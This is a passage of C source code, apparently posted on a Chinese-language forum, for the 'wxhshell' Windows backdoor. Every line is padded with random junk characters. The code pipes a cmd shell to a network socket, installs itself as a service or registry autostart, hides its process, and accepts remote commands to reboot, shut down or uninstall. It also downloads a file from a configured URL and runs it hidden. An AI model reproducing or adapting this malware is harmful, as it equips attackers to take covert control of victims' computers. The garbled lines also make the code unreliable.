  } );nz4/V  
  // 安装 "K,bH  
  case 'i': { UP\C"\  
    if(Install()) OU!nN>ln  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<g<GQ(E  
    else & g:%*>7P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7i8eg*Gl  
    break; %y>+1hakkX  
    } =_[2n?9y  
  // 卸载 u?F (1iN =  
  case 'r': { O#Z/+\U  
    if(Uninstall()) -I ?z-?<D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y]N~vD  
    else +0J@y1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |xh&p(  
    break; Z==!C=SBv  
    } .U9 R> #  
  // 显示 wxhshell 所在路径 M#xQW`-`  
  case 'p': {  1Ao6y.S  
    char svExeFile[MAX_PATH]; .d~\Ysve  
    strcpy(svExeFile,"\n\r"); )GVBE%!WEd  
      strcat(svExeFile,ExeFile); u FZ~  
        send(wsh,svExeFile,strlen(svExeFile),0); ~Rs#|JWB2V  
    break; !tU'J"Zy  
    } !6H uFf  
  // 重启 iU5P$7.p  
  case 'b': { bDDqaO ,8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +{.780|  
    if(Boot(REBOOT)) }X]\VSF{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kq&qE>Ju  
    else { Pt)S;6j   
    closesocket(wsh); ,h^r:g  
    ExitThread(0); %:3'4;jh%  
    } ?6f7ld5  
    break; 9@n diu[  
    } |jT2W  
  // 关机 %x2 uP9  
  case 'd': { n!G.At'JP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aG(hs J)  
    if(Boot(SHUTDOWN)) w9f _b3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hGI+:Js6  
    else { Q".g.k  
    closesocket(wsh); =q+R   
    ExitThread(0); 1a$IrQE  
    } edijfhn  
    break; J!hFN]M<<  
    } TQf L%JT  
  // 获取shell BC! 6O/kr  
  case 's': { D9BQID$R  
    CmdShell(wsh); _ 5"+Dv  
    closesocket(wsh); ZjD)? 4  
    ExitThread(0); +~Tu0?{Z 0  
    break; ZIpD{>/  
  } q8>t!rh<R  
  // 退出 @TzvT3\q  
  case 'x': { :g2  }C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (wuaxo:  
    CloseIt(wsh); *0y{ ~@  
    break; byGn,m  
    } qsI^oBD"  
  // 离开 QXVC\@  
  case 'q': { j13DJ.xu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R>2IRvY(  
    closesocket(wsh); 9 |.Ao  
    WSACleanup(); BLn_u,3  
    exit(1); ?59'dGnz_  
    break; Zw{MgoJ0Z  
        } M0L&~p_F  
  } %2"J:0j  
  } E!J=8C.:  
8#X_#  
  // 提示信息 PLA#!$c7q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rp's  
} m\ S\3n  
  } JoZ(_Jh%m  
*fnvZw?  
  return;  D!F 2l_  
} d'"r("w#  
E{y1S\7K  
// shell模块句柄 sw;|'N$:<  
int CmdShell(SOCKET sock) 0[xpEiDx  
{ oC*=JJe,  
STARTUPINFO si; gL3iw!7  
ZeroMemory(&si,sizeof(si)); BT,b-= ;J-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \X|sU:g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yNCEz/4  
PROCESS_INFORMATION ProcessInfo; w0w1PE-V=  
char cmdline[]="cmd"; h3!$r~T!a:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PFrfd_s{>\  
  return 0; #%$28sxB  
} wL}l`fRB  
IP3E9z_ L  
// 自身启动模式 v.&>Ih/L  
int StartFromService(void) GZ3 ]N  
{ mchJmZ{A  
typedef struct }Fa%%}  
{ J?&l*_m;t  
  DWORD ExitStatus; +=BAslk  
  DWORD PebBaseAddress; S6xgiem  
  DWORD AffinityMask; 7 oQ[FdRn*  
  DWORD BasePriority; mi,&0xDe a  
  ULONG UniqueProcessId; 9\JQ7$B  
  ULONG InheritedFromUniqueProcessId; SA;#aj}rV  
}   PROCESS_BASIC_INFORMATION; Y?K{(szo ?  
d2N:^vvvR  
PROCNTQSIP NtQueryInformationProcess; }TB(7bbd;  
n,$z>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !H@0MQ7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g}x(hF  
2% B'3>a  
  HANDLE             hProcess; -WJ?:?'  
  PROCESS_BASIC_INFORMATION pbi; F$V/K&&W  
!do?~$Og  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +B}0=Ex$t  
  if(NULL == hInst ) return 0; U_B(( Z(g  
CGbwmPx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L| hx arJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lel|,mc`k2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4_/?:$KO  
#V,R >0"  
  if (!NtQueryInformationProcess) return 0; MGJ.,tK1  
"Gb1K9A im  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r^Zg-|gr  
  if(!hProcess) return 0; Ztr Cv?  
_hu")os  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TZR)C P5  
%McE` 155  
  CloseHandle(hProcess); eWJ`$"z  
*{ {b~$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b^0}}12  
if(hProcess==NULL) return 0; Jl3g{a  
'cix`l|^  
HMODULE hMod; kF"@Ngv.  
char procName[255]; n+;6=1d7ZW  
unsigned long cbNeeded; 'Ft0Ry<OL  
vw,rF`LjZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p Z: F:  
TS2ZF{m  
  CloseHandle(hProcess); Uu 8,@W+  
#Lv2Zoi>G  
if(strstr(procName,"services")) return 1; // 以服务启动 6 Orum/|h  
"ZM4F?x  
  return 0; // 注册表启动 E_e6^Sk5B(  
} . mLK`c6  
f y:,_#  
// 主模块 myl+J;,]  
int StartWxhshell(LPSTR lpCmdLine) +Z M)bbB  
{ Qv,"($n\  
  SOCKET wsl; ?']5dD  
BOOL val=TRUE; w-wV3Q6X  
  int port=0; :L44]K5FL  
  struct sockaddr_in door; {8)zg<rL+M  
npJt3 Y_I  
  if(wscfg.ws_autoins) Install(); D=m 'pL/pl  
#P l~R  
port=atoi(lpCmdLine); d)4 m6  
ydRC1~f0  
if(port<=0) port=wscfg.ws_port; 9l,a^@Y:  
?=m?jNa;nC  
  WSADATA data; +t5U.No  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >Cw<BIF  
VCXJwVb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n8*;lK8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |7yAX+  
  door.sin_family = AF_INET; ),G=s Oo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z9FfU  
  door.sin_port = htons(port); 1N7Kv4,  
91 =OF*w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { At7>V-f}  
closesocket(wsl); <B9C*M"4%  
return 1; [0"'T[ok  
} d ,4]VE  
yW$0\E6<r  
  if(listen(wsl,2) == INVALID_SOCKET) { /"eey(X  
closesocket(wsl); ]]Cb$$Td  
return 1; {}3${  
} fQ#l3@in  
  Wxhshell(wsl); S30?VG9U0f  
  WSACleanup(); uc;8 K,[t  
5$V_Hj  
return 0; 6Yx4lWBR?  
bbrXgQ`s+w  
} x>Zn?YR,"  
6 J{k(H$3  
// 以NT服务方式启动 |&RU/a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &*+'>UEe5  
{ :A/d to  
DWORD   status = 0; z^'gx@YD*v  
  DWORD   specificError = 0xfffffff; V5UF3'3;}  
eEuvl`&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BO;6 u^[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r"P|dlV-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WA+iYLx@H  
  serviceStatus.dwWin32ExitCode     = 0;  #"@|f  
  serviceStatus.dwServiceSpecificExitCode = 0; '.:z&gSqx0  
  serviceStatus.dwCheckPoint       = 0; &J+CSv,39  
  serviceStatus.dwWaitHint       = 0; LDPUD'  
Xu%'Z".>:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MF5[lK9e  
  if (hServiceStatusHandle==0) return; wB.&}p9p  
0yD9SJn  
status = GetLastError(); k?+?v?I =  
  if (status!=NO_ERROR) .yz}ROmN^  
{ E=nIRG|g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vSEuk}pk  
    serviceStatus.dwCheckPoint       = 0; y*qVc E  
    serviceStatus.dwWaitHint       = 0; #d6)#:uss  
    serviceStatus.dwWin32ExitCode     = status; hb}+A=A=+  
    serviceStatus.dwServiceSpecificExitCode = specificError; ynthDE o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;lE%M  
    return; ?8'*,bK  
  } ~"nxE  
N sXHO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8WXQ Oo8  
  serviceStatus.dwCheckPoint       = 0; MN\HDKN  
  serviceStatus.dwWaitHint       = 0; >T^;MS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =l+yA>t|  
} [_k1jHr48N  
pH9VTM.*  
// 处理NT服务事件,比如:启动、停止 l3)} qu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }\B><E{G  
{ pFOx>u2`a  
switch(fdwControl) 0Tx6zO  
{ qLD ?juas  
case SERVICE_CONTROL_STOP: Q'=x|K#xj  
  serviceStatus.dwWin32ExitCode = 0; dYJ(!V&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y [}.yyye  
  serviceStatus.dwCheckPoint   = 0; UtoT  
  serviceStatus.dwWaitHint     = 0; H?yK~bGQ  
  { l9{hq/V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p{r}?a  
  } rC5 p-B%  
  return; i@*{27t  
case SERVICE_CONTROL_PAUSE: ssfr}fzH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cd#(X@n  
  break; Bs^aII$  
case SERVICE_CONTROL_CONTINUE: *4\:8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;U/&I3dzV  
  break; ag [ZW  
case SERVICE_CONTROL_INTERROGATE: */`ki;\A  
  break; t}r ' k/[  
}; 01t1Z}!y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ldU?{o:\s  
} h4fJvOk|!  
p`olCp'  
// 标准应用程序主函数 lXW%FH6c+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u^^[Q2LDU}  
{ BC^ :=  
?:Uv[|S#>  
// 获取操作系统版本 {$0mwAOH "  
OsIsNt=GetOsVer(); DX#Nf""Pw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <cps2*'  
em%4Ap  
  // 从命令行安装 Ni9/}bb  
  if(strpbrk(lpCmdLine,"iI")) Install(); n<LEler#M  
?WGA?J %2  
  // 下载执行文件 %~4M+r6T  
if(wscfg.ws_downexe) { -_=nDH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,LHn90S  
  WinExec(wscfg.ws_filenam,SW_HIDE); .s?L^Z^  
} #NEE7'&S  
L>jY.d2w=K  
if(!OsIsNt) { ]C!gQq2'a  
// 如果时win9x,隐藏进程并且设置为注册表启动 I9|mG'  
HideProc(); <}C oQz  
StartWxhshell(lpCmdLine); '$i: 2mn,  
} ?1~`*LE  
else D+rxT: d  
  if(StartFromService()) bQg c8/  
  // 以服务方式启动 t% d Z-Ym  
  StartServiceCtrlDispatcher(DispatchTable); 0yk]o5a++  
else |mZxfI  
  // 普通方式启动 0"jY.*_EW  
  StartWxhshell(lpCmdLine); xG~P+n7t5$  
ER%^!xA  
return 0; [_BP)e  
}
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只看该作者 1 发表于: 2006-10-10
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